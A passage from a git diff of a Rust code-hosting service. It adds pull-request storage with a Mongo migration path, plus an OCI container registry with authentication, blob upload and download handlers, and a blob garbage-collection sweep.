it takes — on the git nodes, which +/// are also serving pushes. +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct MergeJob { + pub state: MergeState, + /// `fast-forward` | `squash` | `merge` | `rebase`. + pub strategy: String, + pub requested_by: String, + #[serde(rename = "requestedAt", deserialize_with = "ms")] + pub requested_at_ms: i64, + /// When a worker took it. Also the lease: a job claimed long ago is assumed + /// abandoned and may be claimed again, so a worker dying mid-merge does not + /// strand the change forever. + #[serde(rename = "claimedAt", default, deserialize_with = "ms_opt", skip_serializing_if = "Option::is_none")] + pub claimed_at_ms: Option, + /// Who took it — a token unique to one claimant, so winning the claim can be + /// CONFIRMED rather than assumed. See `claim_merge`. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub claimed_by: Option, + /// Why it stopped, when it did not succeed — written for the person waiting. + #[serde(default, skip_serializing_if = "Option::is_none")] + pub detail: Option, + /// When the owner last RE-announced this job to the workers. Not the same as + /// `requested_at_ms`, which never moves: this is what rate-limits the safety + /// net, so a job nothing can claim cannot turn a 15s beat into a permanent + /// event stream. See `stranded_merges`. + #[serde(rename = "announcedAt", default, deserialize_with = "ms_opt", skip_serializing_if = "Option::is_none")] + pub announced_at_ms: Option, +} + +#[derive(Debug, Clone, Copy, Serialize, Deserialize, PartialEq, Eq)] +#[serde(rename_all = "lowercase")] +pub enum PullState { + Open, + Merged, + Closed, +} + +#[derive(Debug, Clone, Serialize, Deserialize, PartialEq)] +#[serde(rename_all = "camelCase")] +pub struct Comment { + pub author: String, + pub body: String, + #[serde(rename = "at", deserialize_with = "ms")] + pub at_ms: i64, +} + +/// Accepts a plain number OR a bson date, because rows written before this move still hold +/// `{"$date": …}` in Mongo and must keep reading. Serialization is always the plain number. +fn ms<'de, D: serde::Deserializer<'de>>(d: D) -> std::result::Result { + struct V; + impl<'de> serde::de::Visitor<'de> for V { + type Value = i64; + fn expecting(&self, f: &mut std::fmt::Formatter) -> std::fmt::Result { + f.write_str("milliseconds since epoch, or a bson date") + } + fn visit_i64(self, v: i64) -> std::result::Result { + Ok(v) + } + fn visit_u64(self, v: u64) -> std::result::Result { + Ok(v as i64) + } + fn visit_f64(self, v: f64) -> std::result::Result { + Ok(v as i64) + } + fn visit_str(self, v: &str) -> std::result::Result { + // Digits first, then RFC3339. A row written by the old code reaches us through + // bson's deserializer as `{"$date": "2025-08-21T10:40:00Z"}` — a `$date` map whose + // value is a STRING, not the number extended JSON shows. Parsing only digits here + // failed every pre-existing row, which would have broken the migration for every PR + // that already exists rather than for none of them. + if let Ok(n) = v.parse::() { + return Ok(n); + } + mongodb::bson::DateTime::parse_rfc3339_str(v) + .map(|d| d.timestamp_millis()) + .map_err(serde::de::Error::custom) + } + fn visit_map>( + self, + mut m: A, + ) -> std::result::Result { + // Extended JSON: `{"$date": 1700000000000}` or `{"$date": {"$numberLong": "…"}}`, + // and bson's own deserializer presents a DateTime the same way. + let mut out = None; + while let Some(k) = m.next_key::()? { + if k == "$date" || k == "$numberLong" { + out = Some(m.next_value_seed(Ms)?); + } else { + m.next_value::()?; + } + } + out.ok_or_else(|| serde::de::Error::custom("no $date in a timestamp")) + } + } + struct Ms; + impl<'de> serde::de::DeserializeSeed<'de> for Ms { + type Value = i64; + fn deserialize>( + self, + d: D, + ) -> std::result::Result { + d.deserialize_any(V) + } + } + d.deserialize_any(V) +} + +fn ms_opt<'de, D: serde::Deserializer<'de>>(d: D) -> std::result::Result, D::Error> { + #[derive(Deserialize)] + struct Wrap(#[serde(deserialize_with = "ms")] i64); + Ok(Option::::deserialize(d)?.map(|w| w.0)) +} + +pub async fn get(db: &Db, number: i64) -> Result> { + match db.get(pull_key(number).as_bytes()).await? { + Some(v) => Ok(Some(serde_json::from_slice(&v)?)), + None => Ok(None), + } +} + +pub async fn put(db: &Db, pr: &PullRequest) -> Result<()> { + db.put(pull_key(pr.number).as_bytes(), &serde_json::to_vec(pr)?).await?; + Ok(()) +} + +/// Every change in the repo, oldest number first — the padded key does the sorting. +pub async fn list(db: &Db) -> Result> { + let mut it = db.scan_prefix(PULL_PREFIX.as_bytes(), ..).await?; + let mut out = Vec::new(); + while let Some(kv) = it.next().await? { + out.push(serde_json::from_slice(&kv.value)?); + } + Ok(out) +} + +/// The changes that carry a merge job, without deserializing the ones that don't. +/// +/// `merge` is `skip_serializing_if = Option::is_none`, so a jobless row has no `"merge":` key +/// in its bytes at all — and jobless (closed, merged, never-asked) rows are the unbounded +/// majority on the 15s announce beat. A comment body containing the literal is only a false +/// positive: it deserializes one extra row, which the `is_some` filter then drops. +pub async fn with_merge_jobs(db: &Db) -> Result> { + let mut it = db.scan_prefix(PULL_PREFIX.as_bytes(), ..).await?; + let mut out = Vec::new(); + while let Some(kv) = it.next().await? { + if !kv.value.windows(8).any(|w| w == b"\"merge\":") { + continue; + } + let pr: PullRequest = serde_json::from_slice(&kv.value)?; + if pr.merge.is_some() { + out.push(pr); + } + } + Ok(out) +} + +/// The open ones only, capped — for a caller that does real work per row and must not be +/// handed every change the repo ever had. +pub async fn open_only(db: &Db, limit: usize) -> Result> { + let mut it = db.scan_prefix(PULL_PREFIX.as_bytes(), ..).await?; + let mut out = Vec::new(); + while out.len() < limit { + let Some(kv) = it.next().await? else { break }; + let pr: PullRequest = serde_json::from_slice(&kv.value)?; + if pr.state == PullState::Open { + out.push(pr); + } + } + Ok(out) +} + +/// The next free number for this repo, claimed. Read-increment-write under the repo's lock: +/// the number IS the key, so two callers reading the same value would have one change +/// overwrite the other. +pub async fn next_number(store: &Store, owner: &str, name: &str) -> Result { + let lock = store.keyed_lock(&format!("pulls/{owner}/{name}")); + let _guard = lock.lock().await; + let db = store.db_for(owner, name).await?; + let n: i64 = match db.get(NEXT_PULL_KEY).await? { + Some(v) => String::from_utf8_lossy(&v) + .parse() + .map_err(|e| err(format!("{owner}/{name}: bad meta/next_pull: {e}")))?, + // A repo that has never had a change starts at 1, the number people expect to see first. + None => 1, + }; + db.put(NEXT_PULL_KEY, (n + 1).to_string().as_bytes()).await?; + Ok(n) +} + +/// `1` once this repo's Mongo pull requests have been copied in. Written LAST, always. +const MIGRATED_KEY: &[u8] = b"meta/pulls_migrated"; + +/// Where a repo's pre-move pull requests come from. +/// +/// Three states, because "no handle" means two opposite things: a deployment without a directory +/// has nothing to migrate, while a deployment WITH one that could not be reached may have changes +/// nobody can see. Collapsing them into an `Option` is how a Mongo blip turns into data loss. +pub enum Source { + /// No directory configured — a single-node deployment. Nothing to migrate, safe to record. + Absent, + /// Configured and reachable. + Directory(std::sync::Arc), + /// Configured but NOT reachable. Migration must neither proceed nor be recorded. + // ponytail: a node that failed to connect at startup stays here for its whole life, so pull + // routes 500 until it restarts. Upgrade path: hold the uri and retry `Directory::connect` + // behind an `ArcSwap`/`RwLock` here, promoting to `Directory` on the first success. + Unavailable, +} + +/// Copy this repo's pull requests out of Mongo and into its own database, once, on first touch. +/// +/// Lazy and per-repo rather than a big-bang backfill, and it runs only on the node that owns the +/// repo — so it is a single writer by construction, like every other write in this design. +pub async fn ensure_migrated( + store: &Store, + src: &Source, + owner: &str, + name: &str, +) -> Result<()> { + migrate_from(store, owner, name, || async { + match src { + Source::Directory(d) => d.pulls_for(&format!("{owner}/{name}")).await, + Source::Absent => Ok(Vec::new()), + // Through the row closure rather than an early return, so it takes the same path as + // any other failed read: the marker is never written and the next touch retries. + Source::Unavailable => Err(err(format!( + "{owner}/{name}: directory configured but unreachable; refusing to record a \ + migration of changes this node cannot read" + ))), + } + }) + .await +} + +/// The migration itself, over an injected row source — the only Mongo-shaped thing about it is +/// the caller. Taking the source as a closure keeps the read LAZY: the fast path stays one `get` +/// and never queries anything, and every property below is testable without a live Mongo. +pub async fn migrate_from(store: &Store, owner: &str, name: &str, rows: F) -> Result<()> +where + F: FnOnce() -> Fut, + Fut: std::future::Future>>, +{ + let db = store.db_for(owner, name).await?; + if is_migrated(&db).await? { + return Ok(()); + } + let lock = store.keyed_lock(&format!("pulls/{owner}/{name}")); + let _guard = lock.lock().await; + // Re-check UNDER the lock: without it two concurrent first touches both migrate. + if is_migrated(&db).await? { + return Ok(()); + } + + // A failed read must NOT be remembered as done — marking migrated here would lose every + // existing change for this repo, silently and permanently. Return and let the next call retry. + let rows = rows().await?; + + let mut next = 1; + for pr in &rows { + put(&db, pr).await?; + next = next.max(pr.number + 1); + } + // From the rows, never from Mongo's `counters` or its sort order: rows written before and + // after the timestamp change hold Date and Int64, so `sort({createdAt:-1})` mixes types and + // its order is not trustworthy. An existing value only ever wins upward, so a crash that got + // as far as handing out numbers cannot have one reissued. + if let Some(v) = db.get(NEXT_PULL_KEY).await? { + next = next.max(String::from_utf8_lossy(&v).parse().unwrap_or(1)); + } + db.put(NEXT_PULL_KEY, next.to_string().as_bytes()).await?; + + // LAST, for the same reason truth precedes views everywhere else here: a crash mid-copy + // leaves work to redo (re-`put`ting identical keys, which cannot duplicate), never a repo + // that believes it migrated when it did not. + db.put(MIGRATED_KEY, b"1").await?; + Ok(()) +} + +async fn is_migrated(db: &Db) -> Result { + Ok(db.get(MIGRATED_KEY).await?.as_deref() == Some(b"1".as_ref())) +} + +/// A change whose mergeability needs a trial merge, and the branches to try. +/// +/// Branch NAMES, not oids: the worker resolves them in its own clone of the repo, and a name is +/// what stays true if the branch moves between here and there — a stale oid would answer a +/// question nobody asked. +/// +/// Lives here rather than in `check`, deliberately: `bins/worker/src/main.rs` names +/// `rustic_git_pulls::pulls::Deep`, and the worker links this crate WITHOUT the `check` feature. +#[derive(Debug, Clone, PartialEq, serde::Serialize, serde::Deserialize)] +#[serde(rename_all = "camelCase")] +pub struct Deep { + pub number: i64, + pub base: String, + pub head: String, +} diff --git a/crates/registry/Cargo.toml b/crates/registry/Cargo.toml new file mode 100644 index 00000000..e49285ca --- /dev/null +++ b/crates/registry/Cargo.toml @@ -0,0 +1,25 @@ +[package] +name = "rustic-git-registry" +version = "0.1.0" +edition = "2021" +license = "SSPL-1.0" + +[lib] +name = "rustic_git_registry" + +[dependencies] +tracing = { workspace = true } +metrics = { workspace = true } +rustic-git-core = { path = "../core" } +rustic-git-storage = { path = "../storage" } +rustic-git-app = { path = "../app" } +tokio = { workspace = true } +slatedb = { workspace = true } +sha2 = { workspace = true } +axum = { workspace = true } +futures = { workspace = true } +serde = { workspace = true } +serde_json = { workspace = true } +chrono = { workspace = true } +form_urlencoded = { workspace = true } +rand = { workspace = true } diff --git a/crates/registry/src/auth.rs b/crates/registry/src/auth.rs new file mode 100644 index 00000000..0ef3a13b --- /dev/null +++ b/crates/registry/src/auth.rs @@ -0,0 +1,95 @@ +//! Both credential shapes, ending at one authorization call. +//! +//! Clients that follow the spec take the Bearer challenge and fetch a scoped token from +//! `/v2/token`. Clients that do not — and every `curl` in a debugging session — send Basic +//! directly. Accepting both costs one extra branch and removes a whole class of "docker login +//! worked but push did not" reports. +use super::store::ImageExt; +use crate::Trusted; +use crate::App; +use axum::http::{header, HeaderMap, StatusCode}; +use axum::response::Response; + +fn realm() -> String { + // The externally reachable base URL. The challenge must name a URL the CLIENT can reach, not + // this pod's address, so it is configuration rather than something derived from the request. + std::env::var("RUSTIC_GIT_EXTERNAL_URL").unwrap_or_else(|_| "http://localhost:8080".into()) +} + +pub fn challenge(scope: Option<&str>) -> Response { + let base = realm(); + let host = base.split("://").nth(1).unwrap_or("registry").to_string(); + let mut v = format!("Bearer realm=\"{base}/v2/token\",service=\"{host}\""); + if let Some(s) = scope { + v.push_str(&format!(",scope=\"{s}\"")); + } + let mut r = crate::oci_err(StatusCode::UNAUTHORIZED, "UNAUTHORIZED", "authentication required"); + r.headers_mut().insert(header::WWW_AUTHENTICATE, v.parse().unwrap()); + r +} + +/// The authenticated owner, or `None` for an anonymous caller. `Err` is a response to return +/// as-is: a credential that was PRESENTED and did not verify is a refusal, not anonymity. +pub async fn caller( + app: &App, + trusted: &Trusted, + headers: &HeaderMap, +) -> Result, Response> { + // A peer already authenticated this client; `trust_peer` checked the shared secret. + if let Some(o) = trusted.0.clone() { + return Ok(Some(o)); + } + let Some(v) = headers.get(header::AUTHORIZATION).and_then(|v| v.to_str().ok()) else { + return Ok(None); + }; + if crate::httpauth::scheme(v, "Basic").is_some() { + let Some(token) = crate::httpauth::basic_token(headers) else { return Err(challenge(None)) }; + // The token is the secret, but the username must be the owner it belongs to: a credential + // whose halves disagree did not verify, and a leaked token must not work under any name. + // No placeholder here — unlike git, `docker login` always has a real username to send. + return match app.store.owner_for_token(&token).await { + Ok(Some(o)) if crate::httpauth::basic_user_names(headers, &o, false) => Ok(Some(o)), + Ok(_) => Err(challenge(None)), + Err(e) => Err(crate::oci_internal(e)), + }; + } + if let Some(jwt) = crate::httpauth::scheme(v, "Bearer") { + use super::routes::RegistryToken; + return match super::routes::verify_registry_token(&app.jwt, jwt) { + RegistryToken::Owner(o) => Ok(Some(o)), + // Verified as ours, but minted for the anonymous caller: not a refusal. This is the + // exact token a spec-following client gets from `/v2/token` before an anonymous pull + // of a public image, so it must fall through to anonymous-continue, not a challenge. + RegistryToken::Anonymous => Ok(None), + RegistryToken::Invalid => Err(challenge(None)), + }; + } + Err(challenge(None)) +} + +/// Authorize a caller against one image. `write` is false for pulls. +/// +/// Anonymous on a private image gets the CHALLENGE (so the client knows to log in); an +/// authenticated stranger gets DENIED (so it knows logging in again will not help). +pub async fn allow( + app: &App, + trusted: &Trusted, + headers: &HeaderMap, + owner: &str, + name: &str, + write: bool, +) -> Result, Response> { + let who = caller(app, trusted, headers).await?; + if who.as_deref() == Some(owner) { + return Ok(who); + } + let public = !write && app.store.image_is_public(owner, name).await.unwrap_or(false); + if public { + return Ok(who); + } + let scope = format!("repository:{owner}/{name}:{}", if write { "pull,push" } else { "pull" }); + Err(match who { + None => challenge(Some(&scope)), + Some(_) => crate::oci_err(StatusCode::FORBIDDEN, "DENIED", "insufficient scope"), + }) +} diff --git a/crates/registry/src/blobs.rs b/crates/registry/src/blobs.rs new file mode 100644 index 00000000..4e9b61ec --- /dev/null +++ b/crates/registry/src/blobs.rs @@ -0,0 +1,239 @@ +//! Blob pull and the two single-shot push forms. Chunked upload lives in `uploads.rs`. +use super::{auth, oci_err, store::blob_path, Digest}; +use crate::Trusted; +use crate::App; +use axum::{ + body::Body, + extract::{Path, Query, State}, + http::{header, HeaderMap, StatusCode}, + response::{IntoResponse, Response}, + Extension, +}; +use slatedb::object_store::ObjectStoreExt; +use std::collections::HashMap; +use std::sync::Arc; + +/// Largest single layer accepted, checked against the body's size BEFORE it is stored: an +/// unbounded push must not be able to fill a node's disk. Override with RUSTIC_GIT_MAX_LAYER. +/// +/// Read once and cached: this is on the hot blob path and the env var never changes after +/// process start. +pub fn max_layer() -> u64 { + static LAYER: std::sync::OnceLock = std::sync::OnceLock::new(); + *LAYER.get_or_init(|| { + std::env::var("RUSTIC_GIT_MAX_LAYER").ok().and_then(|v| v.parse().ok()) + .unwrap_or(10 * 1024 * 1024 * 1024) + }) +} + +pub async fn get_blob( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, digest)): Path<(String, String, String)>, +) -> Response { + blob_response(app, trusted, headers, owner, name, digest, true).await +} + +pub async fn head_blob( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, digest)): Path<(String, String, String)>, +) -> Response { + blob_response(app, trusted, headers, owner, name, digest, false).await +} + +async fn blob_response( + app: Arc, + trusted: Trusted, + headers: HeaderMap, + owner: String, + name: String, + digest: String, + with_body: bool, +) -> Response { + let who = match auth::allow(&app, &trusted, &headers, &owner, &name, false).await { + Ok(who) => who, + Err(r) => return r, + }; + let Some(d) = Digest::parse(&digest) else { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "malformed digest"); + }; + // `allow` only proved the caller may pull THIS image; the bytes live per owner. A stranger + // gets the blob only if this image holds it — and a 404, not a 403, when it does not, so the + // URL of a public image is not an existence oracle for its private siblings' layers. + if who.as_deref() != Some(owner.as_str()) { + match super::store::image_holds_blob(&app.store, &owner, &name, &d).await { + Ok(true) => {} + Ok(false) => return oci_err(StatusCode::NOT_FOUND, "BLOB_UNKNOWN", "no such blob"), + Err(e) => return crate::oci_internal(e), + } + } + let path = blob_path(&owner, &d); + let hdrs = |size: u64| { + [ + (header::CONTENT_LENGTH, size.to_string()), + (header::CONTENT_TYPE, "application/octet-stream".into()), + (header::HeaderName::from_static("docker-content-digest"), d.to_string()), + ] + }; + if !with_body { + return match app.store.os.head(&path).await { + Ok(m) => (StatusCode::OK, hdrs(m.size)).into_response(), + Err(slatedb::object_store::Error::NotFound { .. }) => { + oci_err(StatusCode::NOT_FOUND, "BLOB_UNKNOWN", "no such blob") + } + Err(e) => crate::oci_internal(e.into()), + }; + } + // One GET, not HEAD-then-GET: the GET's own meta carries the size, and this is the hottest + // registry path — the HEAD was a pure extra round trip per layer pulled. + // Stream the layer straight through: buffering the whole object here is an anonymous + // memory-DoS for public images (a few concurrent pulls of a large layer OOM the node). + match app.store.os.get(&path).await { + Ok(r) => { + let size = r.meta.size; + // Counted at the start, not per chunk streamed: what the store served is what was + // paid for, and a client that hangs up early is not the interesting number. + metrics::counter!("registry_blob_bytes_out_total").increment(size); + (StatusCode::OK, hdrs(size), axum::body::Body::from_stream(r.into_stream())).into_response() + } + Err(slatedb::object_store::Error::NotFound { .. }) => { + oci_err(StatusCode::NOT_FOUND, "BLOB_UNKNOWN", "no such blob") + } + Err(e) => crate::oci_internal(e.into()), + } +} + +/// `POST /v2/{o}/{n}/blobs/uploads/` +/// +/// Three shapes arrive here: `?digest=` with a body (push it now), `?mount=&from=` (cross-repo +/// mount, see below), and bare (open a session, completed via `uploads.rs`'s chunked PATCH or +/// `finish_upload` below). +pub async fn start_upload( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name)): Path<(String, String)>, + Query(q): Query>, + body: Body, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + // Cross-repo mount. Blobs are per-OWNER, so a mount inside the team is a no-op — the bytes are + // already at the path the mounting image reads. Across teams there is nothing to point at, and + // the spec's fallback is exactly right: 202, and the client uploads it. + if let (Some(mount), Some(from)) = (q.get("mount"), q.get("from")) { + let Some(d) = Digest::parse(mount) else { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "malformed digest"); + }; + let from_owner = from.split('/').next().unwrap_or_default(); + let mount_path = blob_path(&owner, &d); + if from_owner == owner && app.store.os.head(&mount_path).await.is_ok() { + if let Err(e) = super::store::hold_blob(&app.store, &owner, &name, &d).await { + return crate::oci_internal(e); + } + return created(&owner, &name, &d); + } + return super::uploads::open_session(&app, &owner, &name).await; + } + if let Some(digest) = q.get("digest") { + return finish_blob(&app, &owner, &name, digest, body).await; + } + super::uploads::open_session(&app, &owner, &name).await +} + +/// `PUT /v2/{o}/{n}/blobs/uploads/{uuid}?digest=` — completes a session. When the body carries the +/// whole blob and no chunk was PATCHed, this is the two-request push. +pub async fn finish_upload( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, uuid)): Path<(String, String, String)>, + Query(q): Query>, + body: Body, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + let Some(digest) = q.get("digest") else { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "digest query parameter required"); + }; + super::uploads::complete(&app, &owner, &name, &uuid, digest, &headers, body).await +} + +/// Verify and store one whole blob. The digest is checked BEFORE the object lands, so a corrupt +/// layer never becomes readable under a name that promises different bytes. +pub(super) async fn finish_blob( + app: &App, + owner: &str, + name: &str, + digest: &str, + body: Body, +) -> Response { + let Some(d) = Digest::parse(digest) else { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "malformed digest"); + }; + // Verified against the algorithm the client CLAIMED (`d.algo`, from the digest it pushed + // under), not assumed sha256. `pour` lands the object only after the hash matches, so a + // corrupt layer never becomes readable under a name that promises different bytes. + match super::uploads::pour(&app.store.os, &blob_path(owner, &d), Some(&d), super::uploads::body_stream(body)).await { + Ok(_) => {} + Err(super::uploads::Refused::TooLarge) => { + return oci_err(StatusCode::from_u16(413).unwrap(), "SIZE_INVALID", "layer too large") + } + Err(super::uploads::Refused::WrongDigest) => { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "content does not match digest") + } + Err(super::uploads::Refused::Failed(e)) => return crate::oci_internal(e), + } + // The image now exists, even with no manifest yet: a push that uploads layers and then fails + // should leave something the owner can see and clean up. `hold_blob`, never + // `set_image_visibility` — a push must not flip a public image back to private. + if let Err(e) = super::store::hold_blob(&app.store, owner, name, &d).await { + return crate::oci_internal(e); + } + created(owner, name, &d) +} + +/// `DELETE /v2/{o}/{n}/blobs/{digest}` — remove the object. +/// +/// Deleting here does NOT check whether a manifest still references it: the client asked, the +/// client owns it. What is never done is the reverse — no manifest delete removes a blob. That is +/// the sweeper's job, because only it can see every image that might share the layer. +pub async fn delete_blob( + State(app): State>, + Extension(trusted): Extension, + headers: HeaderMap, + Path((owner, name, digest)): Path<(String, String, String)>, +) -> Response { + if let Err(r) = auth::allow(&app, &trusted, &headers, &owner, &name, true).await { + return r; + } + let Some(d) = Digest::parse(&digest) else { + return oci_err(StatusCode::BAD_REQUEST, "DIGEST_INVALID", "malformed digest"); + }; + match app.store.os.delete(&blob_path(&owner, &d)).await { + Ok(()) => StatusCode::ACCEPTED.into_response(), + Err(slatedb::object_store::Error::NotFound { .. }) => { + oci_err(StatusCode::NOT_FOUND, "BLOB_UNKNOWN", "no such blob") + } + Err(e) => crate::oci_internal(e.into()), + } +} + +pub(super) fn created(owner: &str, name: &str, d: &Digest) -> Response { + ( + StatusCode::CREATED, + [ + (header::LOCATION, format!("/v2/{owner}/{name}/blobs/{d}")), + ( + header::HeaderName::from_static("docker-content-digest"), + d.to_string(), + ), + ], + ) + .into_response() +} diff --git a/crates/registry/src/gc.rs b/crates/registry/src/gc.rs new file mode 100644 index 00000000..3adb7afb --- /dev/null +++ b/crates/registry/src/gc.rs @@ -0,0 +1,329 @@ +//! Sweeping blobs no manifest references. +//! +//! Scoped to ONE owner, which is the whole reason blobs are per-owner: a global content-addressed +//! store would make this sweep read every image in the fleet before it could delete anything, and +//! a sweep that must be right about everything is a sweep nobody dares run. +//! +//! The order is load-bearing. Read every manifest FIRST, then list the blobs, then delete only +//! blobs that are both unreferenced and older than the grace window. Listing first would let a +//! manifest written mid-sweep reference a blob the sweep had already decided was an orphan. +//! +//! `src/registry/blobs.rs`'s delete handler removes exactly the blob a client named; this is the +//! only other code path in the registry allowed to delete a blob. +use super::store::manifest_stat; +use crate::dbstore::Store; +use crate::Result; +use slatedb::object_store::{ObjectStore, ObjectStoreExt}; +use std::collections::HashSet; +use std::time::Duration; + +async fn get_bytes(store: &Store, p: &slatedb::object_store::path::Path) -> Result { + Ok(store.os.get(p).await?.bytes().await?) +} + +/// Every digest referenced by any manifest of any of this owner's images — the manifests +/// themselves included, since a manifest referenced from an index is named by digest too. +/// +/// The rule for this whole file: any uncertainty about what is referenced means delete nothing. +/// A manifest that cannot be read or parsed must ABORT the sweep with an error, never be skipped +/// with `continue`. `put_manifest` now refuses a body that is not a JSON object, but that only +/// narrows the door going forward: bytes written before that check existed, or written straight +/// to the object store bypassing the handler, are still reachable and still unparseable — and +/// skipping one would silently judge every blob it names an orphan. So the keep-biased abort stays. +/// `pub` (not `pub(crate)`) so `tests/registry_gc.rs` can call the two scan phases directly to +/// prove the mount-race fix in `sweep_owner`: there is no clean seam inside `sweep_owner` itself +/// to inject a write between its two internal reads, so the test drives `referenced()` the same +/// way `sweep_owner` does rather than contorting production code to expose one. +pub async fn referenced(store: &Store, owner: &str) -> Result> { + let mut out = HashSet::new(); + let prefix = slatedb::object_store::path::Path::from(format!("manifests/{owner}")); + let mut listing = store.os.list(Some(&prefix)); + let mut paths = vec![]; + while let Some(m) = futures::StreamExt::next(&mut listing).await { + paths.push(m?.location); + } + // Concurrent GETs, bounded: 500 manifests were 500 serial round trips per sweep tick. + // `buffered` (ordered) rather than `buffer_unordered` so at most 16 manifest bodies are in + // memory at once and the abort-on-first-error below fires deterministically. + let mut fetched = futures::StreamExt::buffered( + futures::StreamExt::map(futures::stream::iter(paths), |p| async move { + let b = get_bytes(store, &p).await; + (p, b) + }), + 16, + ); + while let Some((p, bytes)) = futures::StreamExt::next(&mut fetched).await { + let bytes = match bytes { + Ok(b) => b, + Err(e) => { + // Aborting the sweep here is correct — see the module doc — but a silent abort + // means GC for this owner stops forever with nothing said. Name the owner and the + // manifest so whoever is paged (or grepping logs later) knows exactly what to fix. + tracing::error!(owner = %owner, manifest = %p, error = %e, "gc: aborting sweep: unreadable manifest"); + return Err(e); + } + }; + // The manifest itself. Path is `manifests/{owner}/{name}/{algo}/{hex}`: the algo segment + // is second-to-last, not always `sha256` — a sha512-pushed manifest must self-protect too. + if let Some(digest) = digest_from_path(&p) { + out.insert(digest); + } + let v: serde_json::Value = match serde_json::from_slice(&bytes) { + Ok(v) => v, + Err(e) => { + tracing::error!(owner = %owner, manifest = %p, error = %e, "gc: aborting sweep: unparseable manifest"); + return Err(e.into()); + } + }; + // config, layers, an index's "manifests", and "subject" all name digests. Walking the + // JSON for every "digest" string catches all of them without a schema per media type — + // and a digest this over-collects is a blob kept, never one deleted. + collect(&v, &mut out); + } + Ok(out) +} + +/// Reassembles `algo:hex` from the LAST TWO path segments (`.../{algo}/{hex}`), rather than +/// hardcoding `sha256:` — both `blobs/{owner}/{algo}/{hex}` and `manifests/{owner}/{name}/{algo}/{hex}` +/// carry the algorithm in the path, and a sha512 blob whose digest was mis-assembled as +/// `sha256:{hex}` would never match `referenced()`'s set and would be swept as an orphan. +pub(crate) fn digest_from_path(p: &slatedb::object_store::path::Path) -> Option { + let parts: Vec<_> = p.parts().collect(); + let hex = parts.last()?; + let algo = parts.get(parts.len().checked_sub(2)?)?; + Some(format!("{}:{}", algo.as_ref(), hex.as_ref())) +} + +/// Every `"digest"` string anywhere in a manifest. Shared with `put_manifest`'s existence check so +/// the sweep and the push agree on what "referenced" means — a digest one walks and the other +/// does not is a blob one of them gets wrong. +pub(crate) fn collect(v: &serde_json::Value, out: &mut HashSet) { + match v { + serde_json::Value::Object(m) => { + for (k, v) in m { + if k == "digest" { + if let Some(s) = v.as_str() { + out.insert(s.to_string()); + } + } + collect(v, out); + } + } + serde_json::Value::Array(a) => a.iter().for_each(|v| collect(v, out)), + _ => {} + } +} + +/// Same default/env-override as `worker.rs` wires into `sweep_owner`'s `grace`. `worker.rs` is the +/// only caller; it lives here so the window's definition sits next to the sweep it governs. +pub fn blob_grace() -> Duration { + std::env::var("RUSTIC_GIT_BLOB_GRACE_SECS") + .ok() + .and_then(|v| v.parse().ok()) + .map(Duration::from_secs) + .unwrap_or(Duration::from_secs(3600)) +} + +/// Reconciles this owner's image listing markers against object-store-visible truth. +/// +/// This runs in the WORKER, which must never open an image/repo database (opening one on the +/// wrong node fences the legitimate owner — see the fencing invariant in the crate root docs). +/// That confines this function to two of the three ways a marker can drift, split with Task 7b: +/// +/// - STRUCTURAL (this function, object-store reads only): +/// (a) an image directory with no marker at all → create one, PRIVATE (fail closed), stats +/// from `manifest_stat`; +/// (b) a marker whose image directory is gone → remove it; +/// (c) a marker whose `manifests`/`updated_ms` no longer match `manifest_stat` → rewrite, +/// preserving every other field (visibility included). +/// - VISIBILITY (owning node's duty, not this sweep's): a marker whose public/private side +/// disagrees with the image DB's own visibility row is left alone here — only the node that +/// owns the DB can read that row without fencing itself, so that repair belongs to Task 7b's +/// `reconcile_marker`, not this one. +/// +/// Keep-biased like `sweep_owner`: any read/list error on one entry SKIPs that entry rather than +/// treating the uncertainty as grounds to remove or fabricate a marker. +pub async fn reconcile_owner(store: &Store, owner: &str) -> Result { + use crate::index::{self, Kind, Marker}; + + let image_names = crate::list_dir_names(&store.os, &format!("repo/img/{owner}/")).await?; + let image_set: HashSet = image_names.into_iter().collect(); + + let markers = index::list(&store.os, Kind::Img, owner, true).await?; + let marker_names: HashSet = markers.iter().map(|m| m.name.clone()).collect(); + + let mut repaired = 0usize; + + // (b) marker with no backing image directory → remove. + for m in &markers { + if !image_set.contains(&m.name) && index::remove(&store.os, Kind::Img, owner, &m.name).await.is_ok() { + repaired += 1; + } + } + + // (a) image directory with no marker → create PRIVATE, fail closed. + // `put_in_place`, not `index::write`: write deletes the other visibility's path first, and + // this worker shares no lock with a visibility flip landing on the owning node at the same + // moment — same reasoning as case (c) below. + let missing: Vec<&String> = image_set.iter().filter(|n| !marker_names.contains(*n)).collect(); + let missing_stats = futures::future::join_all(missing.iter().map(|n| manifest_stat(store, owner, n))).await; + for (name, stat) in missing.into_iter().zip(missing_stats) { + let Ok((count, newest)) = stat else { continue }; + let now = crate::ownership::now_ms() as i64; + let m = Marker { + name: name.clone(), + public: false, + created_by: String::new(), + created_ms: now, + description: String::new(), + manifests: count as u64, + updated_ms: newest.unwrap_or(now), + }; + if index::put_in_place(&store.os, Kind::Img, owner, &m).await.is_ok() { + repaired += 1; + } + } + + // (c) marker present with a backing image directory, but stale stats → rewrite in place, + // preserving visibility and every other field. + let retained: Vec = markers.into_iter().filter(|m| image_set.contains(&m.name)).collect(); + let retained_stats = futures::future::join_all(retained.iter().map(|m| manifest_stat(store, owner, &m.name))).await; + for (m, stat) in retained.into_iter().zip(retained_stats) { + let Ok((count, newest)) = stat else { continue }; + let updated_ms = newest.unwrap_or(m.updated_ms); + // Not equality: the owning node stamps `updated_ms` from its own clock AFTER the manifest + // object lands, while this recomputes it from the object's `last_modified`, which S3 + // rounds to whole seconds. The two never agree exactly, so an exact compare rewrote every + // 